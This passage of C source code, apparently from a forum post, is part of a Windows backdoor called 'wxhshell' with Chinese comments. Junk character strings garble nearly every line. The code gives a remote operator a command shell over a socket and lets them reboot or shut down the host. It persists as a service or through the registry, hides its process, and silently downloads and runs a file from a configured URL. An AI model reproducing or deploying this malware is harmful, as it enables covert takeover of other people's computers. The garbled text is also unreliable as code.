      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); E.NfVeq  
    break; RxJbQs$Ph  
  } [9Rh"H;h  
  // 安装 JJWP te/  
  case 'i': { r`6f  
    if(Install()) t855|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gsM$VaF(  
    else T$2A2gb `  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y< dBF[  
    break; 0R\.G1f%  
    } 2INpo  
  // 卸载 ,pTZ/#vP#  
  case 'r': { 9ETdO,L)f  
    if(Uninstall())  X{Vs  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9H4"=!AAgD  
    else i>h 3UIx\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O*?^a7Z)4  
    break; 5ILKYUg,  
    } ^i_v\E[QU  
  // 显示 wxhshell 所在路径 yQj J-g(.  
  case 'p': { af>i  
    char svExeFile[MAX_PATH]; L,#YP#O,j  
    strcpy(svExeFile,"\n\r"); rqN+0CT  
      strcat(svExeFile,ExeFile); |z_Dw$-xm  
        send(wsh,svExeFile,strlen(svExeFile),0); 5cQ]vb  
    break; jmv=rl>E*  
    } 4+ d(d  
  // 重启 @aUNyyVP  
  case 'b': { >@bU8}rT  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); +<xQF  
    if(Boot(REBOOT)) @"fv[=Xb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !=.y[Db=  
    else { eza"<uBr  
    closesocket(wsh); YzZj=]\`b  
    ExitThread(0); -th.(eAx  
    } CckfoJ 9  
    break; Sft vN-  
    } 1=IOio4U  
  // 关机 Hi K+}?I  
  case 'd': { 2oahQ: }B  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Gd\/n*j  
    if(Boot(SHUTDOWN)) db1ZNw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m ne)c[Qn  
    else { $04lL/;  
    closesocket(wsh); A#I&&qZ  
    ExitThread(0); |#cqxr"  
    } GOA dhh-  
    break; p.(+L^-=  
    } 0H +nVR  
  // 获取shell Rh"O$K~  
  case 's': { _$IWr)8f  
    CmdShell(wsh); zB+e;x f|  
    closesocket(wsh); |-{ Hy(9  
    ExitThread(0); h+H+>,N8`  
    break; 6%6dzZ  
  } X!z-J>  
  // 退出 ~1*37w~  
  case 'x': { |*zgX]-+;  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); HX| p4-L  
    CloseIt(wsh); I(BJ1 8F$  
    break; wY\,b*x  
    } dI7rx+L  
  // 离开 lbovwj  
  case 'q': { $0$sDN6)x  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); :/][ n9J^  
    closesocket(wsh); 0~$9z+S  
    WSACleanup(); DcaKGjp  
    exit(1); |;Jt * _  
    break; /O.q4p  
        } R{A$|Ipaq  
  } JleClB(2n/  
  } _IU5HT}2  
6j {ynt  
  // 提示信息 85|u;Fxf  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); b}Im>n!  
} &I'J4gk[  
  } K9&Q@3V  
[N4N7yF  
  return; 8o,0='U  
} h0~<(3zC  
5W fZd  
// shell模块句柄 CL5^>. }  
int CmdShell(SOCKET sock) "-Ny f  
{ v4rO 0y=C  
STARTUPINFO si; GGHeC/4  
ZeroMemory(&si,sizeof(si)); Iy*Q{H3[  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; WixEnsJ  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; \+U;$.)3  
PROCESS_INFORMATION ProcessInfo; #Cs/.(<  
char cmdline[]="cmd"; 7W4m&+  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); M9Sj@ww  
  return 0; 8#A4B2  
} \A\?7#9\  
2,I]H'}^  
// 自身启动模式 GK11fZpO:i  
int StartFromService(void) kl1Q:  
{ {GT5   
typedef struct ea$. +  
{ sEw ?349Bz  
  DWORD ExitStatus; B!)9 >  
  DWORD PebBaseAddress; Snmv  
  DWORD AffinityMask; 3My}u>  
  DWORD BasePriority; j<Pw0?~s6  
  ULONG UniqueProcessId; [N[4\W!!  
  ULONG InheritedFromUniqueProcessId; 0lq?l:/  
}   PROCESS_BASIC_INFORMATION; Bo ywgL|  
6f#Mi+"  
PROCNTQSIP NtQueryInformationProcess; Moi RAO  
+Gy9K  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; FR'Nzi$  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; L5d YTLY  
P $ h) Y  
  HANDLE             hProcess; DTi^* Wj  
  PROCESS_BASIC_INFORMATION pbi; vYLspZ;S  
w0sy@OF  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL");  C. uv0  
  if(NULL == hInst ) return 0; _M;{}!Gc&A  
ca0vN^Ji  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ^a3 (QKS  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ]-X\n  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 5\JV}  
y[cc<wm$  
  if (!NtQueryInformationProcess) return 0; "k"+qR`fH  
/s(PFN8#Y  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); n2c(x\DA&  
  if(!hProcess) return 0; 3_ E}XQd  
Z5wQhhH  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; X>yE<ni  
TOP,]N/F H  
  CloseHandle(hProcess); dR,a0+!  
g?j^d:  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); "<&o ;x<  
if(hProcess==NULL) return 0; #sv}%oV,F  
l_2l/ff9  
HMODULE hMod; m\ qR myO  
char procName[255]; Q>w)b]d~c  
unsigned long cbNeeded; wax^iL!  
_q@lP|  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); e2nZwPH  
[CV0sYEA  
  CloseHandle(hProcess); |D'!.$7%  
F$:mGyl5_  
if(strstr(procName,"services")) return 1; // 以服务启动 Q3t%JP>;g  
=q"0GUei3  
  return 0; // 注册表启动 }+[!h=Bx  
} ?"}U?m=  
0,__{?!  
// 主模块 slr>6o%W`  
int StartWxhshell(LPSTR lpCmdLine) 0}k vuuR  
{ 3_eg'EP.E  
  SOCKET wsl; P6v@ Sn  
BOOL val=TRUE; b*nI0/cbR.  
  int port=0; K6~')9 Q  
  struct sockaddr_in door; l`j@QP  
>E,/|K*  
  if(wscfg.ws_autoins) Install(); n|QA\,=  
QqeF   
port=atoi(lpCmdLine); xw1,Wbu]  
EW)r/Av:,  
if(port<=0) port=wscfg.ws_port; kAx J#RG  
4l/~::y  
  WSADATA data; .Z17X_  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; +@@( C9  
5':j=KQE_  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   W^H[rX}=  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); VF7H0XR/k5  
  door.sin_family = AF_INET; >M m.MNU  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); %uP/v\l  
  door.sin_port = htons(port); TUp%Cx  
n2F*a  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { &(x>J:b  
closesocket(wsl); sJg3WN  
return 1; p1z^i(  
} ,~K4+ t_  
HE2t0sAYX  
  if(listen(wsl,2) == INVALID_SOCKET) { !) d  
closesocket(wsl); *9r 32]i;  
return 1; G%%F6)W  
} ,zBc-Cm  
  Wxhshell(wsl); 9*?YES'6  
  WSACleanup(); c8cGIAOY)  
UyNP:q:  
return 0; (i@(ZG]/  
t$Ua&w  
} "MOmJYH  
K<u~[^R  
// 以NT服务方式启动 N,cj[6;T%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Tl^)O^/  
{ 4)N~*+~\h  
DWORD   status = 0; <S@2%%W  
  DWORD   specificError = 0xfffffff; ;/^O7KM-  
j8t_-sU9 i  
  serviceStatus.dwServiceType     = SERVICE_WIN32; !6s]p%{V  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; !<>`G0  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; qMBEJ<o  
  serviceStatus.dwWin32ExitCode     = 0; \5) ZI'q  
  serviceStatus.dwServiceSpecificExitCode = 0; @oMl^UYM=  
  serviceStatus.dwCheckPoint       = 0; 5pE@Ww  
  serviceStatus.dwWaitHint       = 0; Nn5sD3z#  
Oo%%f+  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); u,@x7a,z  
  if (hServiceStatusHandle==0) return; XToYtdt2  
Fi+,omB&  
status = GetLastError(); V}G; oz&>)  
  if (status!=NO_ERROR) )q%DRLD'G  
{ *>j4tA{b@v  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; |Gb~[6u   
    serviceStatus.dwCheckPoint       = 0; T!5g:;~y >  
    serviceStatus.dwWaitHint       = 0; Bq \WG=Fd  
    serviceStatus.dwWin32ExitCode     = status; dC">AW  
    serviceStatus.dwServiceSpecificExitCode = specificError; LoS%  FI  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3],[6%w  
    return; N8]d0  
  } NVo =5  
a^9}ceu?   
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; wQ9fPOm  
  serviceStatus.dwCheckPoint       = 0; ezk:XDi4  
  serviceStatus.dwWaitHint       = 0; |F>'7JJJ  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); *IC9))PGJ  
} bd.t|A  
cU=EXyP%  
// 处理NT服务事件,比如:启动、停止 HBgt!D0MZ  
VOID WINAPI NTServiceHandler(DWORD fdwControl) :B4X/  
{ |Iq\ZX%q  
switch(fdwControl) .n| M5X  
{ [ Q20c<,  
case SERVICE_CONTROL_STOP: #c2JWDH1F  
  serviceStatus.dwWin32ExitCode = 0; uTUkRqtD!  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; EXbhyg  
  serviceStatus.dwCheckPoint   = 0; q^kOyA.  
  serviceStatus.dwWaitHint     = 0; Aj2yAg  
  { ]4oF!S%F  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); l,M?   
  } kR(hUc1O  
  return; Y !nE65  
case SERVICE_CONTROL_PAUSE: J$i5A9IUr  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; GVzG  
  break; q\\52 :\  
case SERVICE_CONTROL_CONTINUE: nrI-F,1  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 'd=B{7k@  
  break; &r !*Y&  
case SERVICE_CONTROL_INTERROGATE: '${xZrzmt  
  break; mE_?E&T`|  
}; rM(2RI4O`0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -*C+z!?BP  
} i!EN/Bd  
/=ro$@  
// 标准应用程序主函数 `zOQ*Y&  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) OX)[?1m8  
{ @Vac!A??:  
skn];%[v\  
// 获取操作系统版本 o%=OBTh_   
OsIsNt=GetOsVer(); TW?A/GoXI  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Ny)!uqul*  
FQCz_ z  
  // 从命令行安装 V@Fj!/  
  if(strpbrk(lpCmdLine,"iI")) Install(); 2AI~Jm#  
M2e_)f:  
  // 下载执行文件 ;?0k>  
if(wscfg.ws_downexe) { ojZvgF  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) V,)bw  
  WinExec(wscfg.ws_filenam,SW_HIDE);  h48 jKL(  
} seEG~/U<  
3]}wZY0  
if(!OsIsNt) { } ^67HtNQ  
// 如果时win9x,隐藏进程并且设置为注册表启动 b7h0V4w  
HideProc(); pElAY3  
StartWxhshell(lpCmdLine); OfGMeN6  
} p+ bT{:  
else jO#5ZhG  
  if(StartFromService()) 8yV?l7  
  // 以服务方式启动 ohe0}~)V  
  StartServiceCtrlDispatcher(DispatchTable); v-mhqhb  
else [1{uK&$e  
  // 普通方式启动 ^X/[x]UOT@  
  StartWxhshell(lpCmdLine); E)w^odwMU  
INj2B@_  
return 0; *XZlnO  
}
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只看该作者 1 发表于: 2006-10-10
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